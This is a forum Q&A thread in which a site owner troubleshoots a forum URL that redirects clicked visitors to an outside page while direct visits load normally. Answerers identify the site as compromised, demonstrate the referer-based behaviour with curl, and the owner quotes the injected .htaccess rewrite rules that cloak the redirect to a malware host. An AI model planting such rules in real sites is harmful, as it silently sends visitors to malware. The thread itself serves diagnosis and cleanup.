1

I am setting up a small website on Joomla and came across a weird redirect problem.

I wanted to include a link in my website to a Forum that is set up in a different server.

When I type or copy/paste the forum url in the browser, it works perfectly: http://www.techcomputerworld.com/almeriarocketry/

This is the request/response:

Request URL:http://www.techcomputerworld.com/almeriarocketry/
Request Method:GET
Status Code:200 OK
Request Headersview source
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding:gzip,deflate,sdch
Accept-Language:en-US,en;q=0.8
Cache-Control:max-age=0
Connection:keep-alive
Cookie:phpbb3_gu83i_u=1; phpbb3_gu83i_k=; phpbb3_gu83i_sid=5d7245ace142f186e3049d7666c528d7; __utma=214190226.1703438907.1378288831.1378288831.1378288831.1; __utmb=214190226.1.10.1378288831; __utmc=214190226; __utmz=214190226.1378288831.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); style_cookie=null
Host:www.techcomputerworld.com
User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36

Response Headersview source
Cache-Control:private, no-cache="set-cookie"
Connection:Keep-Alive
Content-Encoding:gzip
Content-Length:3805
Content-Type:text/html; charset=UTF-8
Date:Wed, 04 Sep 2013 10:05:56 GMT
Expires:0
Keep-Alive:timeout=10, max=29
Pragma:no-cache
Server:Apache
Vary:Accept-Encoding

So I happily inserted a link in my website to that URL. But when I click it, the server throws a 302 redirect to another, completely different location:

Request URL:http://www.techcomputerworld.com/almeriarocketry/
Request Method:GET
Status Code:302 Found
Request Headersview source
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding:gzip,deflate,sdch
Accept-Language:en-US,en;q=0.8
Connection:keep-alive
Cookie:__utma=214190226.1703438907.1378288831.1378288831.1378288831.1; __utmc=214190226; __utmz=214190226.1378288831.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); phpbb3_gu83i_u=1; phpbb3_gu83i_k=; phpbb3_gu83i_sid=a6f51f7f13a419b2ba46137a8cd6fc3b; style_cookie=null
Host:www.techcomputerworld.com
Referer:http://clubaereotabernas.net/index.php/el-club/instalaciones
User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36
Response Headersview source
Connection:Keep-Alive
Content-Length:313
Content-Type:text/html; charset=iso-8859-1
Date:Wed, 04 Sep 2013 17:56:33 GMT
Keep-Alive:timeout=10, max=30
Location:http://schiedsrichterge.bplaced.net/acwf.html?h=719406
Server:Apache

The only different that I can see is the referrer header, but I tried to simulate exactly the same values on my REST client and the call returned a 200.

I am experiencing this in Safari, Firefox, Chrome. It doesn't redirect when using IE8.

I have access to the server and can change anything in it, but have no idea where this configuration would be located.

Any help, much appreciated, thanks.

1
  • If you have access to the server, have you tried searching for the wrong URL?
    – Izzy
    Sep 10, 2013 at 10:17

2 Answers 2

2

The site you're linking to has been compromised. It is redirecting visitors to a page which distributes malware (though the page appears to have been taken down).

If you know the owner of the site, you may wish to inform them of the problem.

3
  • Thanks! That totally makes sense. How did you know it?
    – Miguel
    Sep 11, 2013 at 11:07
  • I googled the destination link of the redirect, and a bunch of other sites came up that reported it as malware :) Sep 11, 2013 at 12:42
  • Someone introduced this in the .htaccess in my server: <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteCond %{HTTP_REFERER} ^http://[w.]*([^/]+) RewriteCond %{HTTP_HOST}/%1 !^[w.]*([^/]+)/\1$ [NC] RewriteRule ^.*$ schiedsrichterge.bplaced.net/acwf.html?h=719406 [L,R] </IfModule> Removed it and it works (no need to restart anything)
    – Miguel
    Sep 15, 2013 at 19:12
1

It's something with your configuration. There is somewhere checked http referer and redirection made.

Without referer (when you paste url into browser)

$ curl -I 'http://www.techcomputerworld.com/almeriarocketry/'
HTTP/1.1 200 OK
Date: Tue, 10 Sep 2013 11:16:53 GMT
Server: Apache
Cache-Control: private, no-cache="set-cookie"
Expires: 0
Pragma: no-cache
Set-Cookie: phpbb3_gu83i_u=1; expires=Wed, 10-Sep-2014 11:16:53 GMT; path=/; domain=.www.techcomputerworld.com; HttpOnly
Set-Cookie: phpbb3_gu83i_k=; expires=Wed, 10-Sep-2014 11:16:53 GMT; path=/; domain=.www.techcomputerworld.com; HttpOnly
Set-Cookie: phpbb3_gu83i_sid=3a5a12af291853ba8299f5f5efc2d6ca; expires=Wed, 10-Sep-2014 11:16:53 GMT; path=/; domain=.www.techcomputerworld.com; HttpOnly
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8

Request with referer ('simulating' click)

$ curl -I -H 'Referer: http://google.com/' 'http://www.techcomputerworld.com/almeriarocketry/'
HTTP/1.1 302 Found
Date: Tue, 10 Sep 2013 11:17:41 GMT
Server: Apache
Location: http://schiedsrichterge.bplaced.net/acwf.html?h=719406
Content-Type: text/html; charset=iso-8859-1

Check your apache configuration (try 'grep -ri bplaced.net /etc/apache*') +logs and Joomla.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .